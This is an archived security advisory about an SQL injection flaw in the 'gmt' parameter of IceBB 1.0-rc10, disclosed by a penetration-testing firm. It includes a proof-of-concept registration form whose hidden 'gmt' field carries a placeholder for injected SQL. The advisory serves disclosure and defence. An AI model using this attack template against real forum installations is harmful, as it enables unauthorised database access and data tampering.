[Date Prev][Date Next][Thread Prev][Thread Next][Date Index][Thread Index]

SQL injection in IceBB



Vulnerability ID: HTB22688
Reference: http://www.htbridge.ch/advisory/sql_injection_in_icebb.html
Product: IceBB
Vendor: XAOS Interactive ( http://icebb.net/ ) 
Vulnerable Version: 1.0-rc10
Vendor Notification: 02 November 2010 
Vulnerability Type: SQL Injection
Status: Not Fixed, Vendor Alerted, Awaiting Vendor Response
Risk level: High 
Credit: High-Tech Bridge SA - Ethical Hacking & Penetration Testing 
(http://www.htbridge.ch/) 

Vulnerability Details:
The vulnerability exists due to failure in the "/index.php" script to properly 
sanitize user-supplied input in "gmt" variable.
Attacker can alter queries to the application SQL database, execute arbitrary 
queries to the database, compromise the application, access or modify sensitive 
data, or exploit various vulnerabilities in the underlying SQL database.

The following PoC is available:


<form action="http://[host]/index.php"; method="post" >
<input type="hidden" name="act" value="login" />
<input type="hidden" name="func" value="Register" />
<input type="hidden" name="terms" value="1" />
<input type="hidden" name="user" value="pentest" />
<input type="hidden" name="pass" value="pentest" />
<input type="hidden" name="pass2" value="pentest" />
<input type="hidden" name="email" value="pentest@xxxxxxxxxxx" />
<input type="hidden" name="captcha_code" value="[captcha_code]" />
<input type="hidden" name="captcha_word" value="[captcha_word]" />
<input type="hidden" name="gmt" value="'SQL_CODE_HERE" />
<input type="submit" value="Register" name="submit" />
</form>